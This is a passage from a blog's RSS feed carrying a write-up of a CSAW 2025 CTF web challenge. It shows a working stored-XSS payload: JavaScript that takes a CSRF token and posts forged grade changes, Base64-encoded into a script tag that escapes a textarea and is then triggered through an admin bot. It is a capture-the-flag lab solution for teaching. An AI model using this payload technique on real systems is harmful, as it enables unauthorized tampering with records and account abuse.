  let inputs = root.getElementsByTagName(&#34;input&#34;);
  
  let csrfToken = &#34;&#34;;
  for (let i=0; i&lt;inputs.length; i++) {
    csrfToken = inputs[i].value;
	break;
  }
  console.log(csrfToken);
  
  const req = new XMLHttpRequest();
  req.open(&#34;POST&#34;, &#34;/grade-change&#34;);
  req.setRequestHeader(&#39;Content-type&#39;, &#39;application/x-www-form-urlencoded&#39;);
  req.send(&#34;grade=A&amp;student_id=55c9057c-b99d-48f7-81aa-79d0cd9c4838&amp;class_id=&#34; + classIds[currentClassId] + &#34;&amp;csrf_token=&#34; + csrfToken);
}

for (; currentClassId &lt; classIds.length; currentClassId++) {
  const req = new XMLHttpRequest();
  req.addEventListener(&#34;load&#34;, reqListener);
  req.open(&#34;GET&#34;, &#34;/grade-change&#34;, false);
  req.send();
}
</code></pre>

<p>There&#39;s one last step: we need to <a href="https://www.base64encode.org/">Base64 encode</a> this payload. After performing this step, we get</p>

<pre><code>dmFyIGNsYXNzSWRzID0gWyIxMDUzNjk2Zi0yZjA2LTQ4ODItYjIyNi0wN2I2Y2I1ZGU0ZDYiLCAiMTc1YjY1MGUtMDEwYi00MWEyLWIwNGUtODNiNzVmNmUzMDA5IiwgImYzOTVkM2VkLWI1ZTMtNGJkMy05M2ZjLTkzYTM2NmQ5ZTU0NSIsICI0Y2M2ZWZlZi1kOTVhLTQxYjQtOGM1Ni05NTc5ZjY1NGU4ODEiXTsKCnZhciBjdXJyZW50Q2xhc3NJZCA9IDA7CgpmdW5jdGlvbiByZXFMaXN0ZW5lcigpIHsKICBsZXQgcmVzcG9uc2VIdG1sID0gdGhpcy5yZXNwb25zZVRleHQ7CiAgbGV0IHJvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCAnaHRtbCcgKTsKICByb290LmlubmVySFRNTCA9IHJlc3BvbnNlSHRtbDsKICBsZXQgaW5wdXRzID0gcm9vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTsKICAKICBsZXQgY3NyZlRva2VuID0gIiI7CiAgZm9yIChsZXQgaT0wOyBpPGlucHV0cy5sZW5ndGg7IGkrKykgewogICAgY3NyZlRva2VuID0gaW5wdXRzW2ldLnZhbHVlOwoJYnJlYWs7CiAgfQogIGNvbnNvbGUubG9nKGNzcmZUb2tlbik7CiAgCiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLm9wZW4oIlBPU1QiLCAiL2dyYWRlLWNoYW5nZSIpOwogIHJlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgcmVxLnNlbmQoImdyYWRlPUEmc3R1ZGVudF9pZD01NWM5MDU3Yy1iOTlkLTQ4ZjctODFhYS03OWQwY2Q5YzQ4MzgmY2xhc3NfaWQ9IiArIGNsYXNzSWRzW2N1cnJlbnRDbGFzc0lkXSArICImY3NyZl90b2tlbj0iICsgY3NyZlRva2VuKTsKfQoKZm9yICg7IGN1cnJlbnRDbGFzc0lkIDwgY2xhc3NJZHMubGVuZ3RoOyBjdXJyZW50Q2xhc3NJZCsrKSB7CiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7CiAgcmVxLm9wZW4oIkdFVCIsICIvZ3JhZGUtY2hhbmdlIiwgZmFsc2UpOwogIHJlcS5zZW5kKCk7Cn0=
</code></pre>

<p>Finally, we can plug this Base64-encoded string into our XSS payload from earlier to yield the final payload of</p>

<pre><code class="language-html">&lt;/textarea&gt;&lt;script src=&#34;data:text/javascript;base64,dmFyIGNsYXNzSWRzID0gWyIxMDUzNjk2Zi0yZjA2LTQ4ODItYjIyNi0wN2I2Y2I1ZGU0ZDYiLCAiMTc1YjY1MGUtMDEwYi00MWEyLWIwNGUtODNiNzVmNmUzMDA5IiwgImYzOTVkM2VkLWI1ZTMtNGJkMy05M2ZjLTkzYTM2NmQ5ZTU0NSIsICI0Y2M2ZWZlZi1kOTVhLTQxYjQtOGM1Ni05NTc5ZjY1NGU4ODEiXTsKCnZhciBjdXJyZW50Q2xhc3NJZCA9IDA7CgpmdW5jdGlvbiByZXFMaXN0ZW5lcigpIHsKICBsZXQgcmVzcG9uc2VIdG1sID0gdGhpcy5yZXNwb25zZVRleHQ7CiAgbGV0IHJvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCAnaHRtbCcgKTsKICByb290LmlubmVySFRNTCA9IHJlc3BvbnNlSHRtbDsKICBsZXQgaW5wdXRzID0gcm9vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKTsKICAKICBsZXQgY3NyZlRva2VuID0gIiI7CiAgZm9yIChsZXQgaT0wOyBpPGlucHV0cy5sZW5ndGg7IGkrKykgewogICAgY3NyZlRva2VuID0gaW5wdXRzW2ldLnZhbHVlOwoJYnJlYWs7CiAgfQogIGNvbnNvbGUubG9nKGNzcmZUb2tlbik7CiAgCiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLm9wZW4oIlBPU1QiLCAiL2dyYWRlLWNoYW5nZSIpOwogIHJlcS5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LXR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgcmVxLnNlbmQoImdyYWRlPUEmc3R1ZGVudF9pZD01NWM5MDU3Yy1iOTlkLTQ4ZjctODFhYS03OWQwY2Q5YzQ4MzgmY2xhc3NfaWQ9IiArIGNsYXNzSWRzW2N1cnJlbnRDbGFzc0lkXSArICImY3NyZl90b2tlbj0iICsgY3NyZlRva2VuKTsKfQoKZm9yICg7IGN1cnJlbnRDbGFzc0lkIDwgY2xhc3NJZHMubGVuZ3RoOyBjdXJyZW50Q2xhc3NJZCsrKSB7CiAgY29uc3QgcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgcmVxLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCByZXFMaXN0ZW5lcik7CiAgcmVxLm9wZW4oIkdFVCIsICIvZ3JhZGUtY2hhbmdlIiwgZmFsc2UpOwogIHJlcS5zZW5kKCk7Cn0=&#34;&gt;&lt;/script&gt;&lt;/script&gt;&lt;textarea&gt;
</code></pre>

<p>Let&#39;s paste that into the textbox and see how the server responds! Note that there&#39;s an extra textbox because our payload puts an extra <code>&lt;textarea&gt;</code> tag in to ensure that the resulting HTML is valid. The second textbox doesn&#39;t really do anything. We could just as well have hid it with <code>style=&#34;display:none&#34;</code> if we wanted to.</p>

<p><img src="https://images.ylhuang.com/20250913-csawctf/06-final-payload.png" alt="Our final payload"></p>

<p>After clicking “Submit Ratings &amp; Comments”, nothing happens to our grade. But that&#39;s because we&#39;re not an admin yet. We&#39;ll need to get the admin bot to visit this page. To do this, we visit the admin bot URL given in the challenge, <a href="https://gradebook-admin.ctf.csaw.io/">https://gradebook-admin.ctf.csaw.io/</a>, and paste our URL <a href="https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838">https://gradebook-app.ctf.csaw.io/dashboard/55c9057c-b99d-48f7-81aa-79d0cd9c4838</a> in.</p>

<p><img src="https://images.ylhuang.com/20250913-csawctf/07-admin-bot.png" alt="Visiting our page with the admin bot"></p>

<p>After reloading our student dashboard, we notice that we now have straight A&#39;s!</p>

<p><img src="https://images.ylhuang.com/20250913-csawctf/08-straight-as.png" alt="A perfect report card"></p>

<p>Now, we visit <a href="https://gradebook-app.ctf.csaw.io/honor-roll-certificate">https://gradebook-app.ctf.csaw.io/honor-roll-certificate</a> to get the flag.</p>

<p><img src="https://images.ylhuang.com/20250913-csawctf/09-flag-secured.png" alt="A perfect report card"></p>

<p>The flag is</p>

<pre><code>csawctf{y0u_m@de_the_h@cking_h0n0r_r0ll}
</code></pre>

<p>Revision 1 (2025-09-15): Fix images not loading properly.</p>

<p>Questions or suggestions? Reach out to me at <a href="https://vance.ylhuang.com/">vance.ylhuang.com</a>!</p>
]]></content:encoded>
      <guid>https://blog.ylhuang.com/csaw-2025-ctf-qualifiers</guid>
      <pubDate>Mon, 15 Sep 2025 18:09:56 +0000</pubDate>
    </item>
  </channel>
</rss>